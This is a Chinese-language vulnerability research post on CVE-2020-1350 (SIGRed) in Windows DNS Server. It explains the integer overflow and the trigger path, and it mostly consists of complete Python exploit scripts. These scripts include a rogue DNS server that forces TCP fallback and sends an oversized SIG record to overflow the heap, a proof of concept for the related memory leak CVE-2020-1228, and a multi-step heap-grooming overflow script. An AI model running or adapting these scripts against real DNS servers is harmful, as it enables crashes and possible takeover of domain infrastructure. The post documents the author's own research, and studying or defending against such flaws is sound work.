7月14的公布了dns的一个远程rce的补丁, 与此同时, 发现者也发布了一篇相关的利用文章(虽然他们并没有完成利用:) ) 我也研究了下这个漏洞, 从复现poc到探究利用可能性, 花了几天时间, 然后发现了一个内存泄露. 一开始没有及时报, 没想到还是被别人撞了T-T.
原发现者的文章描述的已经足够详细, 本文将简短描述下从它的文章开始, 实现poc构造. 另外分享一下同时存在的内存泄露bug, 以及一些可能的利用思路.(拖延症患者, 内容比较随意, 主要是分享一些思路和想法, 所以比较随意….)
CVE-2020-1350漏洞成因 溢出点在行19, 其中rest_size最大值可以是0xffff-29-namelen(举例, 对于网址v-v.space, 其namelen 为”\x03v-v\x05space\x00”的长度, 即11). 函数Name_PacketNameToCountNameEx读取的最大长度为0xff, 而RR_AllocateEx接受的第一个参数类型是u16类型, 从而在特殊情况下导致了整数溢出.
poc构造思路 虽然知道需要一个ns中转记录, 但是不太会配置dns服务器, 花了一天才弄明白中转的设置.
服务器管理器->工具->选择DNS->打开DNS管理器
打开转发器配置界面,配置伪DNS服务器IP地址 此处的ip就是我们需要发送poc的伪服务器地址.
通过发现者发表的文章SIGRed – Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers 中的这个图片
可以知道, 触发路径是Tcp_Receiver -> Answer_ProcessMessage -> Recurse_ProcessResponse -> Recurse_CacheMessageResourceRecords -> Wire_CreateRecordFromWire -> SigWireRead.
通过文章内容我们知道, 大意就是让这个dns server 向另一个dns server(记作X)发起请求, 然后 X 回了一个要求用tcp请求连接的回执(因为默认dns查询用的udp), 然后dns server 再次用tcp 向 X 发起请求, X 回了一个包, 就能走到这个路径.
那么首先需要构造一个强制要求tcp的回执, 这里我直接dump了wireshark的一个正常查询v-v.space的回执包, 然后设置回执flag为tcp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 resp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \ "\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \"\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \"\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \"\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68" def udp_handler (): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(('0.0.0.0' , 53 )) while True : data, addr = s.recvfrom(2048 ) print "received:" , data.encode('hex' ), "from" , addr ba = bytearray () ba.extend(map (ord , data+resp)) ba[2 ] = 0x86 ba[7 ] = 1 data = bytes (ba) l = s.sendto(data, addr) print "sent" , hex (l), hex (len (data)) print '-++++++++++++++++++++++\n' s.close() print 'close udp' def tcp_handler (): server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind(('0.0.0.0' ,53 )) server.listen(5 ) while True : conn,addr = server.accept() print addr data = conn.recv(1024 ) ... conn.send(new_data)
之后, 向目标发起9999.v-v.space的dns请求:
1 2 3 4 5 6 7 8 import dns.message, dns.queryimport threaddef doer (): m = dns.message.from_wire("\xce\x2e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" +"\x049999" +"\x03" +"v-v" +"\x05" +"space" +"\x00\x00\x01\x00\x01" ) mr = dns.query.udp(m, '192.168.170.134' ) doer()
得到如下交互流程:
从交互流程可以看到, 我向192.168.170.134请求了一个dns, 它将请求转到192.168.170.1的dns服务器, 服务器回执了一个带truncated的flag的答复, 然后134用tcp连接到192.168.170.1, 重新发起请求. 这时候我可以回任意的回执.
接下来在函数Recurse_CacheMessageResourceRecords内下断点, 可以看到它a1+0xE06开始, 是我给回执. 至于为什么是+0xe06位置, 可以在函数Tcp_Receiver -> Tcp_ReceiveMessage的recv调用找到.
接下来就是枯燥的逆向Recurse_CacheMessageResourceRecords函数的流程. 此处我不会再讲怎么逆向, 只说一下大致的执行流程. dns有4个类型的请求, questions, answer, authority, additional. 函数按顺序从dns头获取该类型的个数, 然后执行相应的处理.
当处理到answer类型, 且type为46或者24时, 就能进入到Wire_CreateRecordFromWire函数.
所以完整type46的poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 import socketfrom impacket.structure import Structureimport dns.message, dns.queryimport threadingimport structresp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \ "\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \"\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \"\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \"\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68" def getNameLen (data ): s = 0 o = 14 l=ord (data[o:o+1 ]) while l: s += l+1 print l o += 1 +l l = ord (data[o:o+1 ]) return s+1 def tcp_handler (): server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind(('0.0.0.0' ,53 )) server.listen(5 ) while True : conn,addr = server.accept() print (conn,addr) while True : data = conn.recv(1024 ) if not data: continue ba = bytearray () poison = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\xff\xcc' +'a' *18 +'\xc0\x0d' +'\x00' *0xffff data = data[:18 +getNameLen(data)]+poison ba.extend(map (ord , data[:0xffff +2 ])) ba[0 ] = struct.pack('>H' , 0xffff )[0 ] ba[1 ] = struct.pack('>H' , 0xffff )[1 ] ba[4 ] = 0x84 ba[5 ] = 0 ba[8 ] = 0 ba[9 ] = 1 ba[10 ] = 0 ba[11 ] = 0 ba[12 ] = 0 ba[13 ] = 0 data = bytes (ba) l = conn.send(data) print 'sent' ,hex (l), hex (len (data)) print '---------------------------\n' conn.close() break print 'tcp recv exit' def udp_handler (): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(('0.0.0.0' , 53 )) while True : data, addr = s.recvfrom(2048 ) print "received:" , data.encode('hex' ), "from" , addr ba = bytearray () ba.extend(map (ord , data+resp)) ba[2 ] = 0x86 ba[7 ] = 1 data = bytes (ba) l = s.sendto(data, addr) print "sent" , hex (l), hex (len (data)) print '-++++++++++++++++++++++\n' s.close() print 'close udp' import threadthread.start_new_thread(udp_handler,()) thread.start_new_thread(tcp_handler,()) raw_input('>' )
type 24的可以参见CVE-2020-1350 (SIGRed) - Windows DNS DoS Exploit
内存泄露 内存泄露就很简单了, 在函数Recurse_CacheMessageResourceRecords的循环处理函数Wire_CreateRecordFromWire返回值的时候, 如果在处理下一个answer时中途出现错误, 会直接跳出循环. 虽然它保存了所有的内存指针, 但是并没有调用free操作把所有指针释放掉, 导致最后内存指针丢失, 造成内存泄露. 最后微软给的cve是 CVE-2020-1228 .
以下是内存泄露的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 import socketfrom impacket.structure import Structureimport dns.message, dns.queryimport threadingimport structimport timeresp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \ "\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \"\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \"\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \"\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68" def getNameLen (data ): s = 0 o = 14 l=ord (data[o:o+1 ]) while l: s += l+1 print l o += 1 +l l = ord (data[o:o+1 ]) return s+1 def get_alloc_max_spray (n, n_answer ): if n > 0x7f7 : raise "number is too big" p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\x00\xe0' +'\xaa' *18 +'\xc0\x0d' +'a' *7 +'\x39' +'a' *0x39 +'\x39' +'a' *0x39 +'\x39' +'a' *0x39 +'\x15' +'a' *0x15 +'\x00' p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\x00\x14' +'\x00' *18 +'\xc0\x0d' n_answer[0 ] = n+1 return p0+p1*(n-1 ) def get_alloc_max_and_free (n, n_answer ): n_answer[0 ] = (n+0x100 )/8 if n > 0x10047 : raise "number is too large" size = 0xff &(n-0x48 -0x3b ) p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\xff' +chr (size)+'a' *18 +'\xc0\x0d' return p0 def tcp_handler (): server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind(('0.0.0.0' ,53 )) server.listen(5 ) n_answer = [0 , 0 ] funcs = [ get_alloc_max_spray ] steps = [ (0x2ab0 *4 , funcs[0 ], 3 ), ] step = 0 step_i = 0 while True : conn,addr = server.accept() print addr while True : data = conn.recv(1024 ) if not data: continue print 'step:' ,step,'step_i' , step_i ba = bytearray () data = data[:18 +getNameLen(data)]+steps[step][1 ](steps[step][2 ], n_answer) ba.extend(map (ord , data)) ba[0 ] = struct.pack('>H' , len (data)-2 )[0 ] ba[1 ] = struct.pack('>H' , len (data)-2 )[1 ] ba[4 ] = 0x84 ba[5 ] = 0 ba[8 ] = n_answer[0 ]>>8 ba[9 ] = n_answer[0 ]&0xff ba[10 ] = n_answer[1 ]>>8 ba[11 ] = n_answer[1 ]&0xff ba[12 ] = 0 ba[13 ] = 0 data = bytes (ba) if step == 4 : thread.start_new_thread(sendAQuery,()) time.sleep(0.001 ) l = conn.send(data) print 'sent' ,hex (l), hex (len (data)) print '---------------------------\n' conn.close() step_i += 1 if steps[step][0 ] == step_i: step += 1 step_i = 0 break print 'tcp recv exit' def udp_handler (): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(('0.0.0.0' , 53 )) while True : data, addr = s.recvfrom(2048 ) print "received:" , data.encode('hex' ), "from" , addr ba = bytearray () ba.extend(map (ord , data+resp)) ba[2 ] = 0x86 ba[7 ] = 1 data = bytes (ba) l = s.sendto(data, addr) print "sent" , hex (l), hex (len (data)) print '-++++++++++++++++++++++\n' s.close() print 'close udp' import threadthread.start_new_thread(udp_handler,()) thread.start_new_thread(tcp_handler,()) raw_input('>' )
cve-2020-1350的利用思路分析 通过分析它的堆分配函数Mem_Alloc可以知道, 当请求的size超过0xa0时会分配传统heap, 否则从它自定义的大堆内选一个被切出来的小块作为结果返回. 而在函数Recurse_CacheMessageResourceRecords内, 它把函数Wire_CreateRecordFromWire返回的heap通过单项链表串联了起来, +0位置指示了下一个结构体的指针.
利用内存泄露bug, 就可以实现完美的内存布局. 而dns内部, 某些size对应的堆并没有被激活lfh, 所以可以和普通的大堆挨在一起.
tcp主结构体溢出思路
申请非常多0x10000这种大内存, 耗尽空隙
利用records申请一个0x10000+0x100的内存, 再申请个0x10000的内存(记作T), 那么这两个内存就会挨着. 在处理结束后, 就会留下一个0x100120的洞
申请一个0x10000的内存, 就会切下一个0x110的洞
申请一个tcp的query请求, 再申请一个0x100的内存来溢出, 由于它内部一些机制, 最后会把当前tcp的大块0x101f4申请到 T内存 之后, 从而可以溢出到tcp的主结构体
我最后并没有在windows server 2019上找到合适的泄露信息组件, 导致没办法完成利用. 精力有限, 便没有继续深入分析. 希望有兴趣的人可以基于此作更长远的利用.
下面是一个溢出的示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 import socketfrom impacket.structure import Structureimport dns.message, dns.queryimport threadingimport structimport timeresp = "\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73" \ "\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a" \"\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69" \"\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00" \"\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68" def sendAQuery (): m = dns.message.from_wire("\xcc\x2e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" +"\x049999" +"\x03" +"v-v" +"\x05" +"space" +"\x00\x00\x01\x00\x01" ) mr = dns.query.tcp(m, '192.168.170.140' ) print "send query" def getNameLen (data ): s = 0 o = 14 l=ord (data[o:o+1 ]) while l: s += l+1 print l o += 1 +l l = ord (data[o:o+1 ]) return s+1 def get_alloc_1_c0h_and_ow_c0h (n, n_answer ): p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\x00\x2d' +'a' *18 +'\xc0\x0d' +'a' *7 +'\x10' +'\x39' +'a' *0xf +'\x00' p1 = '\xc0\x0c\x00\x2e\x00\x01\x5c\xf5\x00\xec' +'\xff\x7a' +'a' *18 +'\xc0\x0e' +'a' *9 +'\x39' +'a' *0x39 +'\x39' +'a' *0x39 +'\x15' +'a' *0x15 +'\x00' n_answer[0 ] = 2 return p0+p1+'\xcc' *0xff00 def get_alloc_ow_size (size, n_answer ): n_answer[0 ] = size/8 -2 if size > (0xd1 +0x48 ): raise 'size is too big' n = 0xff & ((0x10000 |(size-0x48 ))-0xff ) p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\xff' +chr (n)+'\xaa' *18 +'\xc0\x0d' +'a' *7 +'\x39' +'a' *0x39 +'\x39' +'a' *0x39 +'\x39' +'a' *0x39 +'\x15' +'a' *0x15 +'\x00' fake_header = '\xcc' *16 +'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe' +'a' *(size-0x10 ) padsize = 2 *(size+0x10 )-(0x10 +0x4c +0xff -size)-(len (p0)-0x20 ) fake_num = (0xffff -0x20 -len (p0)-padsize)/(size+0x10 ) print 'padsize:%x,fake_num:%x' %(padsize, fake_num) return p0+'b' *padsize+fake_header*fake_num def get_alloc_ow_size_without_records (size, n_answer ): n_answer[0 ] = 2 if size > (0xd1 +0x48 ): raise 'size is too big' n = 0xff & ((0x10000 |(size-0x48 ))-0xff ) p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\xff' +chr (n)+'\xaa' *18 +'\xc0\x0d' +'a' *7 +'\x39' +'a' *0x39 +'\x39' +'a' *0x39 +'\x39' +'a' *0x39 +'\x15' +'a' *0x15 +'\x00' fake_header = '\xcc' *16 +'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe' +'a' *(size-0x10 ) padsize = 2 *(size+0x10 )-(0x10 +0x4c +0xff -size)-(len (p0)-0x20 ) fake_num = (0xffff -0x20 -len (p0)-padsize)/(size+0x10 ) print 'padsize:%x,fake_num:%x' %(padsize, fake_num) return p0+'b' *padsize+fake_header*fake_num def get_alloc_2_A9h_and_ow (n, n_answer ): n_answer[0 ] = 3 p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\x00\x21' +'\x00' *18 +'\xc0\x0d' +'\x00' *7 +'\x04' +'\x11' +'\x39' +'\x00' *0x2 +'\x00' p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\x00\x14' +'\x00' *18 +'\xc0\x0e' p2 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\xff\x62' +'\x00' *10 +'\x39' +'\x00' *7 +'\xc0\x0f' +'\x00' *0x30 +'\x39' +'a' *0x39 +'\x15' +'a' *0x15 +'\x00' size = 0xb0 padsize = 2 *(size+0x10 )-(0x10 +0x4c +0xff -size)-(len (p2)-0x20 ) fake_header = '\xcc' *16 +'\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe' +'\x00' *(size-0x10 ) fake_num = (0xffff -0x20 -len (p0)-len (p1)-len (p2)-padsize)/(size+0x10 ) print 'padsize:%x,fake_num:%x' %(padsize, fake_num) return p0+p1+p2+'b' *padsize+fake_header*fake_num def get_alloc_C0h_many (number, n_answer ): if number > 0x7fd : print "number is too big" return None p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\x00\x2d' +'\x00' *18 +'\xc0\x0d' +'\x00' *7 +'\x10' +'\x28' +'\x00' *0xf +'\x00' p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\x00\x14' +'\x00' *18 +'\xc0\x0e' n_answer[0 ] = number+1 return p0+p1*(number-1 ) def get_alloc_A9h_many (number, n_answer ): if number > 0x7fd : print "number is too big" return None p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\x00\x21' +'\x00' *18 +'\xc0\x0d' +'\x00' *7 +'\x04' +'\x11' +'\x39' +'\x00' *0x2 +'\x00' p1 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\x00\x14' +'\x00' *18 +'\xc0\x0e' n_answer[0 ] = number+1 return p0+p1*(number-1 ) def get_alloc_max (n, n_answer ): n_answer[0 ] = 2 if n > 0x10047 or n < (0x48 +0x3b ): raise "number is too large or small" size = 0xff &(n-0x48 -0x3b ) size_h = (n-0x48 -0x3b )>>8 p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +chr (size_h)+chr (size)+'a' *18 +'\xc0\x0d' return p0 def get_alloc_max_and_free (n, n_answer ): n_answer[0 ] = (n+0x100 )/8 if n > 0x10047 : raise "number is too large" size = 0xff &(n-0x48 -0x3b ) p0 = '\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec' +'\xff' +chr (size)+'a' *18 +'\xc0\x0d' return p0 def tcp_handler (): server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind(('0.0.0.0' ,53 )) server.listen(5 ) n_answer = [0 ] funcs = [ get_alloc_A9h_many, get_alloc_ow_size, get_alloc_max, get_alloc_2_A9h_and_ow, get_alloc_max_and_free, get_alloc_ow_size_without_records ] steps = [ (3 , funcs[0 ], 0x700 ), (0x80 , funcs[2 ], 0x10000 ), (1 , funcs[4 ], 0x10000 ), (1 , funcs[2 ], 0x10000 ), (1 , funcs[5 ], 0x100 ) ] step = 0 step_i = 0 while True : conn,addr = server.accept() print addr while True : print 'step:' ,step,'step_i' , step_i data = conn.recv(1024 ) if not data: continue ba = bytearray () data = '{:\x00<65537}' .format (data[:18 +getNameLen(data)]+steps[step][1 ](steps[step][2 ], n_answer)) ba.extend(map (ord , data)) ba[0 ] = struct.pack('>H' , 0xffff )[0 ] ba[1 ] = struct.pack('>H' , 0xffff )[1 ] ba[4 ] = 0x84 ba[5 ] = 0 ba[8 ] = n_answer[0 ]>>8 ba[9 ] = n_answer[0 ]&0xff ba[10 ] = 0 ba[11 ] = 0 ba[12 ] = 0 ba[13 ] = 0 data = bytes (ba) if step == 4 : thread.start_new_thread(sendAQuery,()) time.sleep(0.001 ) l = conn.send(data) print 'sent' ,hex (l), hex (len (data)) print '---------------------------\n' conn.close() step_i += 1 if steps[step][0 ] == step_i: step += 1 step_i = 0 break print 'tcp recv exit' def udp_handler (): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(('0.0.0.0' , 53 )) while True : data, addr = s.recvfrom(2048 ) print "received:" , data.encode('hex' ), "from" , addr ba = bytearray () ba.extend(map (ord , data+resp)) ba[2 ] = 0x86 ba[7 ] = 1 data = bytes (ba) l = s.sendto(data, addr) print "sent" , hex (l), hex (len (data)) print '-++++++++++++++++++++++\n' s.close() print 'close udp' import threadthread.start_new_thread(udp_handler,()) thread.start_new_thread(tcp_handler,()) raw_input('>' )
其它 以下是溢出的长度计算方式:
注意: 以上所有poc的溢出参数和域名长度以及’9999’密切相关, 如果要修改, 注意更改相应的参数.